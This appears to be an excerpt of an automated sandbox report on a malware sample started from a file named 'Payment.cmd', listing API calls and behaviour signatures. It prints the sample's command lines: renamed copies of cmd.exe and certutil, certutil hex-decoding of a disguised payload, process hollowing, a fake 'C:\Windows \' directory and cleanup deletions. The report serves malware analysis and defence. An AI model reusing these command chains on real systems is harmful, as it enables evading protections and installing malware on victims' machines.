            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-utility-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-string-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-timezone-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-string-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\nssdbm3.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-interlocked-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-synch-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-sysinfo-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-file-l1-2-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-libraryloader-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\alpha.exeAPI coverage: 8.3 %
            Source: C:\Users\Public\alpha.exeAPI coverage: 8.5 %
            Source: C:\Users\Public\kn.exeAPI coverage: 0.8 %
            Source: C:\Users\Public\alpha.exeAPI coverage: 9.6 %
            Source: C:\Users\Public\alpha.exeAPI coverage: 9.6 %
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Users\Public\xpha.pifLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF5823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,4_2_00007FF78CF5823C
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF52978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,4_2_00007FF78CF52978
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF41560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,4_2_00007FF78CF41560
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF435B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,4_2_00007FF78CF435B8
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF67B4C FindFirstFileW,FindNextFileW,FindClose,4_2_00007FF78CF67B4C
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF5823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,6_2_00007FF78CF5823C
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF52978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,6_2_00007FF78CF52978
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF41560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,6_2_00007FF78CF41560
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF435B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,6_2_00007FF78CF435B8
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF67B4C FindFirstFileW,FindNextFileW,FindClose,6_2_00007FF78CF67B4C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E6234C wcschr,#357,#357,#359,FindFirstFileW,wcsrchr,_wcsnicmp,iswxdigit,wcstoul,FindNextFileW,#359,#359,#357,#357,LocalFree,LocalFree,FindClose,7_2_00007FF6E3E6234C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DFC6F8 memset,qsort,#357,FindFirstFileW,GetLastError,bsearch,LocalAlloc,LocalReAlloc,LocalAlloc,FindNextFileW,GetLastError,DeleteFileW,GetLastError,#359,#357,FindClose,LocalFree,LocalFree,7_2_00007FF6E3DFC6F8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E63100 #357,FindFirstFileW,#359,FindNextFileW,FindClose,LocalFree,#357,7_2_00007FF6E3E63100
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E610C4 #357,FindFirstFileW,LocalFree,FindNextFileW,FindClose,LocalFree,#357,7_2_00007FF6E3E610C4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E66F80 #359,FindFirstFileW,FindNextFileW,FindClose,LocalAlloc,#357,7_2_00007FF6E3E66F80
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0D4A4 CreateSemaphoreW,GetLastError,CreateEventW,GetLastError,GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose,CloseHandle,CloseHandle,7_2_00007FF6E3E0D4A4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DCD440 GetFileAttributesW,#357,#357,#357,FindFirstFileW,LocalFree,#357,FindNextFileW,#357,LocalFree,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,7_2_00007FF6E3DCD440
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0B3D8 GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose,I_CryptCreateLruCache,GetLastError,I_CryptCreateLruCache,GetLastError,#357,7_2_00007FF6E3E0B3D8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E43674 #357,LocalAlloc,#357,wcsrchr,FindFirstFileW,GetLastError,#359,lstrcmpW,lstrcmpW,#359,RemoveDirectoryW,GetLastError,#359,#359,FindNextFileW,FindClose,LocalFree,LocalFree,DeleteFileW,GetLastError,#359,7_2_00007FF6E3E43674
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0DBC0 FindFirstFileW,GetLastError,CertOpenStore,CertAddStoreToCollection,CertCloseStore,FindNextFileW,GetLastError,GetLastError,#357,GetLastError,GetLastError,#357,LocalFree,CertCloseStore,CertCloseStore,FindClose,7_2_00007FF6E3E0DBC0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E61B04 FindFirstFileW,GetLastError,#357,#359,DeleteFileW,FindNextFileW,FindClose,#359,7_2_00007FF6E3E61B04
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E619F8 #359,FindFirstFileW,FindNextFileW,FindClose,7_2_00007FF6E3E619F8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E05E58 GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose,7_2_00007FF6E3E05E58
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02AB5908 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,10_2_02AB5908
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF5823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,11_2_00007FF78CF5823C
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF52978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,11_2_00007FF78CF52978
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF41560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,11_2_00007FF78CF41560
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF435B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,11_2_00007FF78CF435B8
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF67B4C FindFirstFileW,FindNextFileW,FindClose,11_2_00007FF78CF67B4C
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF5823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,12_2_00007FF78CF5823C
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF52978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,12_2_00007FF78CF52978
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF41560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,12_2_00007FF78CF41560
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF435B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,12_2_00007FF78CF435B8
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF67B4C FindFirstFileW,FindNextFileW,FindClose,12_2_00007FF78CF67B4C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E4511C GetSystemInfo,CryptFindOIDInfo,#359,CreateFileW,GetLastError,#357,#359,GetFileSize,#357,CreateFileMappingW,GetLastError,#359,#357,LocalAlloc,BCryptCreateHash,#360,MapViewOfFile,BCryptHashData,#360,UnmapViewOfFile,LocalAlloc,GetLastError,#357,GetLastError,BCryptFinishHash,#360,LocalAlloc,LocalFree,#357,UnmapViewOfFile,CloseHandle,CloseHandle,BCryptDestroyHash,#360,LocalFree,LocalFree,7_2_00007FF6E3E4511C
            Source: uhvutpdX.pif, 00000013.00000002.2431110845.000000002514B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWR
            Source: AnyDesk.PIF, 0000000A.00000002.2246095892.0000000000962000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2246095892.000000000093E000.00000004.00000020.00020000.00000000.sdmp, uhvutpdX.pif, 00000013.00000002.2431110845.000000002514B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
            Source: C:\Users\Public\Libraries\AnyDesk.PIFAPI call chain: ExitProcess graph end node
            Source: C:\Users\Public\Libraries\uhvutpdX.pifProcess information queried: ProcessInformation

            Anti Debugging

            barindex
            Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02ACF744 GetModuleHandleW,GetProcAddress,CheckRemoteDebuggerPresent,10_2_02ACF744
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess queried: DebugPortJump to behavior
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess queried: DebugPort
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess queried: DebugPort
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF663FC GetCurrentThreadId,IsDebuggerPresent,OutputDebugStringW,4_2_00007FF78CF663FC
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02AC894C LoadLibraryW,GetProcAddress,FreeLibrary,10_2_02AC894C
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF5823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,4_2_00007FF78CF5823C
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF58FA4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,4_2_00007FF78CF58FA4
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF593B0 SetUnhandledExceptionFilter,4_2_00007FF78CF593B0
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF58FA4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,6_2_00007FF78CF58FA4
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF593B0 SetUnhandledExceptionFilter,6_2_00007FF78CF593B0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E94E18 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,7_2_00007FF6E3E94E18
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E953E0 SetUnhandledExceptionFilter,7_2_00007FF6E3E953E0
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF58FA4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,11_2_00007FF78CF58FA4
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF593B0 SetUnhandledExceptionFilter,11_2_00007FF78CF593B0
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF58FA4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,12_2_00007FF78CF58FA4
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF593B0 SetUnhandledExceptionFilter,12_2_00007FF78CF593B0

            HIPS / PFW / Operating System Protection Evasion

            barindex
            Allocates memory in foreign processes
            Source: C:\Users\Public\Libraries\AnyDesk.PIFMemory allocated: C:\Users\Public\Libraries\uhvutpdX.pif base: 400000 protect: page execute and read and writeJump to behavior
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFMemory allocated: C:\Users\Public\Libraries\uhvutpdX.pif base: 400000 protect: page execute and read and write
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFMemory allocated: C:\Users\Public\Libraries\uhvutpdX.pif base: 400000 protect: page execute and read and write
            Drops or copies certutil.exe with a different name (likely to bypass HIPS)
            Source: C:\Windows\System32\extrac32.exeFile created: C:\Users\Public\kn.exeJump to dropped file
            Drops or copies cmd.exe with a different name (likely to bypass HIPS)
            Source: C:\Windows\System32\extrac32.exeFile created: C:\Users\Public\alpha.exeJump to dropped file
            Source: C:\Windows\SysWOW64\esentutl.exeFile created: C:\Users\Public\alpha.pifJump to dropped file
            Sample uses process hollowing technique
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection unmapped: C:\Users\Public\Libraries\uhvutpdX.pif base address: 400000Jump to behavior
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFSection unmapped: C:\Users\Public\Libraries\uhvutpdX.pif base address: 400000
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFSection unmapped: C:\Users\Public\Libraries\uhvutpdX.pif base address: 400000
            Writes to foreign memory regions
            Source: C:\Users\Public\Libraries\AnyDesk.PIFMemory written: C:\Users\Public\Libraries\uhvutpdX.pif base: 28B008Jump to behavior
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFMemory written: C:\Users\Public\Libraries\uhvutpdX.pif base: 227008
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFMemory written: C:\Users\Public\Libraries\uhvutpdX.pif base: 2BC008
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E47024 GetModuleHandleW,GetProcAddress,#356,#357,CloseHandle,LocalFree,LocalFree,LocalFree,ImpersonateLoggedOnUser,#356,EqualSid,#357,LogonUserExW,GetLastError,ImpersonateLoggedOnUser,#356,#359,RevertToSelf,#356,7_2_00007FF6E3E47024
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\extrac32.exe C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe" Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exeJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Payment.cmd" "C:\\Users\\Public\\AnyDesk.3GP" 3 Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.3GP" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 10 Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\Libraries\AnyDesk.PIF C:\Users\Public\Libraries\AnyDesk.PIFJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\AnyDesk.3GP" / A / F / Q / S Jump to behavior
            Source: C:\Users\Public\alpha.exeProcess created: C:\Windows\System32\extrac32.exe extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exeJump to behavior
            Source: C:\Users\Public\alpha.exeProcess created: C:\Users\Public\kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Payment.cmd" "C:\\Users\\Public\\AnyDesk.3GP" 3 Jump to behavior
            Source: C:\Users\Public\alpha.exeProcess created: C:\Users\Public\kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.3GP" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 10 Jump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess created: C:\Users\Public\Libraries\uhvutpdX.pif C:\Users\Public\Libraries\uhvutpdX.pifJump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /oJump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /oJump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows " Jump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW64" Jump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10Jump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c del "C:\Users\Public\xpha.pif" Jump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \SysWOW64Jump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \" Jump to behavior
            Source: C:\Users\Public\Libraries\uhvutpdX.pifProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "uhvutpdX.pif"
            Source: C:\Users\Public\alpha.pifProcess created: C:\Users\Public\xpha.pif C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess created: C:\Users\Public\Libraries\uhvutpdX.pif C:\Users\Public\Libraries\uhvutpdX.pif
            Source: C:\Users\Public\Libraries\uhvutpdX.pifProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "uhvutpdX.pif"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess created: C:\Users\Public\Libraries\uhvutpdX.pif C:\Users\Public\Libraries\uhvutpdX.pif
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E34AF4 GetSecurityDescriptorDacl,GetLastError,SetEntriesInAclW,SetSecurityDescriptorDacl,GetLastError,#357,#357,LocalFree,LocalFree,LocalFree,7_2_00007FF6E3E34AF4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E44E98 AllocateAndInitializeSid,GetLastError,#357,GetCurrentThread,GetLastError,OpenThreadToken,GetLastError,GetCurrentProcess,GetLastError,OpenProcessToken,GetLastError,DuplicateToken,GetLastError,CheckTokenMembership,GetLastError,CloseHandle,CloseHandle,FreeSid,7_2_00007FF6E3E44E98
            Source: C:\Users\Public\alpha.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale,4_2_00007FF78CF551EC
            Source: C:\Users\Public\alpha.exeCode function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetDateFormatW,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,realloc,4_2_00007FF78CF46EE4
            Source: C:\Users\Public\alpha.exeCode function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW,4_2_00007FF78CF53140
            Source: C:\Users\Public\alpha.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale,6_2_00007FF78CF551EC
            Source: C:\Users\Public\alpha.exeCode function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetDateFormatW,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,realloc,6_2_00007FF78CF46EE4
            Source: C:\Users\Public\alpha.exeCode function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW,6_2_00007FF78CF53140
            Source: C:\Users\Public\kn.exeCode function: LoadLibraryExW,SearchPathW,FindResourceExW,GetUserDefaultUILanguage,GetLocaleInfoW,wcsncmp,GetSystemDefaultUILanguage,FreeLibrary,FreeLibrary,LoadLibraryExW,FreeLibrary,7_2_00007FF6E3E93800
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,10_2_02AB5ACC
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: GetLocaleInfoA,10_2_02ABA7C4
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,10_2_02AB5BD8
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: GetLocaleInfoA,10_2_02ABA810
            Source: C:\Users\Public\alpha.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale,11_2_00007FF78CF551EC
            Source: C:\Users\Public\alpha.exeCode function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetDateFormatW,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,realloc,11_2_00007FF78CF46EE4
            Source: C:\Users\Public\alpha.exeCode function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW,11_2_00007FF78CF53140
            Source: C:\Users\Public\alpha.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale,12_2_00007FF78CF551EC
            Source: C:\Users\Public\alpha.exeCode function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetDateFormatW,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,realloc,12_2_00007FF78CF46EE4
            Source: C:\Users\Public\alpha.exeCode function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW,12_2_00007FF78CF53140
            Source: C:\Users\Public\Libraries\uhvutpdX.pifRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
            Source: C:\Users\Public\Libraries\uhvutpdX.pifRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
            Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Users\Public\alpha.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Users\Public\alpha.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Users\Public\alpha.pifQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformation
